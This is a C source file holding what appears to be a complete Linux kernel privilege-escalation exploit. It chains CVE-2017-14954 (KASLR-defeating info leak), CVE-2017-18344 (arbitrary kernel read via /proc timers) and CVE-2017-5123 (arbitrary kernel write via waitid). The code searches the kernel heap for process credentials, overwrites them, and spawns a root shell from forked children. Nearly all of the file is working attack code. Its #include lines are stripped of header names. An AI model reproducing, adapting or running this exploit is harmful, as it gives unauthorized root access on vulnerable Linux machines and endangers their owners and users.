#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* Arbitrary kernel read - CVE-2017-18344 * https://seclists.org/oss-sec/2018/q3/93 * The timer_create syscall implementation in kernel/time/posix-timers.c in * the Linux kernel before 4.14.8 doesn't properly validate the * sigevent->sigev_notify field, which leads to out-of-bounds access in the * show_timer function (called when /proc/$PID/timers is read). This allows * userspace applications to read arbitrary kernel memory (on a kernel built * with CONFIG_POSIX_TIMERS and CONFIG_CHECKPOINT_RESTORE). * Includes KASLR and SMEP bypasses. No SMAP bypass. * No support for 1 GB pages or 5 level page tables. */ #define min(x, y) ((x) < (y) ? (x) : (y)) #define PAGE_SHIFT 12 #define PAGE_SIZE (1ul << PAGE_SHIFT) #define PAGE_MASK (~(PAGE_SIZE - 1)) #define HUGE_PAGE_SHIFT 21 #define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT) #define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1)) #define TASK_SIZE (1ul << 47) #define MIN_KERNEL_BASE 0xffffffff81000000ul #define MAX_KERNEL_BASE 0xffffffffff000000ul #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) #define MMAP_ADDR_START 0x200000000ul #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000 #define MAX_MAPPINGS 1024 #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) static struct proc_reader g_proc_reader; static unsigned long g_leak_ptr_addr = 0; #define PROC_INITIAL_SIZE 1024 #define PROC_CHUNK_SIZE 1024 struct proc_reader { char *buffer; int buffer_size; int read_size; }; static void proc_ensure_size(struct proc_reader* pr, int size) { if (pr->buffer_size >= size) return; while (pr->buffer_size < size) pr->buffer_size <<= 1; pr->buffer = realloc(pr->buffer, pr->buffer_size); if (pr->buffer == NULL) { perror("[-] proc_ensure_size: realloc()"); exit(EXIT_FAILURE); } } static int proc_read(struct proc_reader* pr, const char *file) { int fd = open(file, O_RDONLY); if (fd == -1) { perror("[-] proc_read: open()"); exit(EXIT_FAILURE); } pr->read_size = 0; while (true) { proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); int bytes_read = read(fd, &pr->buffer[pr->read_size], PROC_CHUNK_SIZE); if (bytes_read == -1) { perror("[-] read(proc)"); exit(EXIT_FAILURE); } pr->read_size += bytes_read; if (bytes_read < PROC_CHUNK_SIZE) break; } close(fd); return pr->read_size; } typedef union k_sigval { int sival_int; void *sival_ptr; } k_sigval_t; #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) #define SIGEV_MAX_SIZE 64 #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ / sizeof(int)) typedef struct k_sigevent { k_sigval_t sigev_value; int sigev_signo; int sigev_notify; union { int _pad[SIGEV_PAD_SIZE]; int _tid; struct { void (*_function)(sigval_t); void *_attribute; } _sigev_thread; } _sigev_un; } k_sigevent_t; static void leak_parse(char *in, int in_len, char **start, char **end) { const char *needle = "notify: "; *start = memmem(in, in_len, needle, strlen(needle)); assert(*start != NULL); *start += strlen(needle); assert(in_len > 0); assert(in[in_len - 1] == '\n'); *end = &in[in_len - 2]; while (*end > in && **end != '\n') (*end)--; assert(*end > in); while (*end > in && **end != '/') (*end)--; assert(*end > in); assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); assert(*end >= *start); } static void leak_once(char **start, char **end) { int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); leak_parse(g_proc_reader.buffer, read_size, start, end); } static int leak_once_and_copy(char *out, int out_len) { assert(out_len > 0); char *start, *end; leak_once(&start, &end); int size = min(end - start, out_len); memcpy(out, start, size); if (size == out_len) return size; out[size] = 0; return size + 1; } static void leak_range(unsigned long addr, size_t length, char *out) { size_t total_leaked = 0; while (total_leaked < length) { unsigned long addr_to_leak = addr + total_leaked; *(unsigned long *)g_leak_ptr_addr = addr_to_leak; int leaked = leak_once_and_copy(out + total_leaked, length - total_leaked); total_leaked += leaked; } } static void mmap_fixed(unsigned long addr, size_t size) { void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int page_size = PAGE_SIZE; assert(fd_size % page_size == 0); assert(start % page_size == 0); assert(end % page_size == 0); assert((end - start) % fd_size == 0); unsigned long addr; for (addr = start; addr < end; addr += fd_size) { void *rv = mmap((void *)addr, fd_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, fd, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } } static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } mmap_fd_over(fd, fd_size, start, end); } #define MEMFD_CHUNK_SIZE 0x1000 static int create_filled_memfd(const char *name, unsigned long size, unsigned long value) { int i; char buffer[MEMFD_CHUNK_SIZE]; assert(size % MEMFD_CHUNK_SIZE == 0); int fd = syscall(SYS_memfd_create, name, 0); if (fd < 0) { perror("[-] memfd_create()"); exit(EXIT_FAILURE); } for (i = 0; i < sizeof(buffer) / sizeof(value); i++) *(unsigned long *)&buffer[i * sizeof(value)] = value; for (i = 0; i < size / sizeof(buffer); i++) { int bytes_written = write(fd, &buffer[0], sizeof(buffer)); if (bytes_written != sizeof(buffer)) { perror("[-] write(memfd)"); exit(EXIT_FAILURE); } } return fd; } static const char *evil = "evil"; static const char *good = "good"; static bool bisect_probe() { char *start, *end; leak_once(&start, &end); return *start == 'g'; } static unsigned long bisect_via_memfd(unsigned long fd_size, unsigned long start, unsigned long end) { assert((end - start) % fd_size == 0); int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); unsigned long left = 0; unsigned long right = (end - start) / fd_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; remap_fd_over(fd_evil, fd_size, start + left * fd_size, start + middle * fd_size); remap_fd_over(fd_good, fd_size, start + middle * fd_size, start + right * fd_size); bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } close(fd_evil); close(fd_good); return start + left * fd_size; } static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { int word_size = sizeof(unsigned long); assert((end - start) % word_size == 0); assert((end - start) % PAGE_SIZE == 0); mmap_fixed(start, end - start); unsigned long left = 0; unsigned long right = (end - start) / word_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; unsigned long a; for (a = left; a < middle; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)evil; for (a = middle; a < right; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)good; bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } return start + left * word_size; } static unsigned long bisect_leak_ptr_addr() { unsigned long addr = bisect_via_memfd(MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); addr = bisect_via_assign(addr, addr + PAGE_SIZE); return addr; } static void arbitrary_read_init() { printf("[.] setting up proc reader\n"); struct proc_reader* pr = &g_proc_reader; pr->buffer = malloc(1024); if (pr->buffer == NULL) { perror("[-] proc_init: malloc()"); exit(EXIT_FAILURE); } pr->buffer_size = 1024; pr->read_size = 0; printf("[~] done\n"); printf("[.] setting up timer\n"); k_sigevent_t se; memset(&se, 0, sizeof(se)); se.sigev_signo = SIGRTMIN; se.sigev_notify = OPTIMAL_PTR_OFFSET; timer_t timerid = 0; int rv = syscall(SYS_timer_create, CLOCK_REALTIME,(void *)&se, &timerid); if (rv != 0) { perror("[-] timer_create()"); exit(EXIT_FAILURE); } printf("[~] done\n"); printf("[.] finding leak pointer address\n"); g_leak_ptr_addr = bisect_leak_ptr_addr(); printf("[+] done: %016lx\n", g_leak_ptr_addr); printf("[.] mapping leak pointer page\n"); mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); printf("[~] done\n"); } /* -------- */ /* Arbitrary kernel write - CVE-2017-5123 * waitid uses unsafe_put_user without checking access_ok, * allowing the user to give a kernel address for infop and write over kernel memory. * when given invalid parameters this just writes the following 32 bit integers * 0, 0, 0, _, 0, 0, 0 * (the 4th element is unchanged) */ int kern_write(unsigned long addr) { return waitid(P_PID, 0, addr, WEXITED | WSTOPPED | WCONTINUED); } static int *glob_var; /* Unusued function, alternative method to find the kernel base (it's more invasive) // where read/write data is in kernel // had to play with last 3 nibbles to get it to not crash #define start_rw_off 0x9f5fe0 unsigned long get_base() { // first we try doing our arb write to find the system base address // if syscall is 0 we didn't fault unsigned long start = 0xffffffff00000000; unsigned long inc = 0x0000000000100000; unsigned long guess = start; while (guess != 0) { int res = waitid(P_ALL, 0, guess+start_rw_off, WEXITED); if (errno != 14) { printf("found kernel base 0x%lx\n", guess); return guess; } guess += inc; } printf("failed to find base address..."); return -1; } */ unsigned long find_kernel_heap(unsigned long kernel_base) { printf("Looking for kernel heap..\n"); //Predicting probable start address unsigned long curr_guess = kernel_base - 0x800000000000; bool found_kernel_heap = false; pthread_t tid; while(!found_kernel_heap) { curr_guess += 0x1000000; //printf("Trying %p\n", curr_guess); // try writing int res = kern_write(curr_guess); if (errno != 14) { printf("Found!!!\n"); found_kernel_heap = true; } } return curr_guess; } /* ----- */ int main(int argc, char **argv) { /* * Info leak, CVE-2017-14954 * https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-14954 * The waitid implementation in kernel/exit.c in the Linux kernel through 4.13.4 accesses rusage data structures * in unintended cases, which allows local users to obtain sensitive information, and bypass the KASLR protection * mechanism, via a crafted system call. */ int pid; struct rusage rusage = {}; unsigned long kaddr; pid = fork(); if (pid > 0) { syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("Leak size=%d bytes\n", sizeof(rusage)); kaddr = rusage.ru_inblock & ~0xfffff; printf("Kernel base: 0x%lx\n", kaddr); glob_var = mmap(NULL, sizeof *glob_var, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); *glob_var = 0; unsigned long kernel_base = kaddr; //get_base(); unsigned long kernel_heap_off = 4; unsigned long kernel_heap_start = find_kernel_heap(kernel_base) + 0x10a0b140; printf("Found kernel heap @ %p\n", kernel_heap_start); printf("Forking..\n"); int j = 0; for (j = 0; j < 1000; j++) { int pid = fork(); if (pid == 0) { //If I'm the child.. while(1) { if (*glob_var == 1) exit(0); if (getuid() == 0) { *glob_var = 1; printf("I'm ROOT!!!\n"); system("sh"); } sleep(5); } } } arbitrary_read_init(); printf("Looking for process creds in the kernel heap.. @ %p\n", kernel_heap_start); unsigned long addr = 0; for (addr = kernel_heap_start; (*glob_var == 0) && (addr < (kernel_heap_start + (kernel_heap_off * 100000000))); addr+=kernel_heap_off) { unsigned char buffer[10]; leak_range(addr, 10, buffer); int i = 0; if ((buffer[0] == 0xe8) && (buffer[1] == 0x03) && // uid == 1000 (buffer[2] == 0) && (buffer[3] == 0) && (buffer[4] == 0xe8) && (buffer[5] == 0x03) && (buffer[6] == 0) && (buffer[7] == 0) && (buffer[8] == 0xe8) && (buffer[9] == 0x03)) { printf("cred->uid found! @ %p\nOverwriting new creds...\n", addr); kern_write(addr); //break; } } printf("Done!\n"); sleep(1000); } else if (pid == 0) { sleep(10000); exit(0); } return 0; }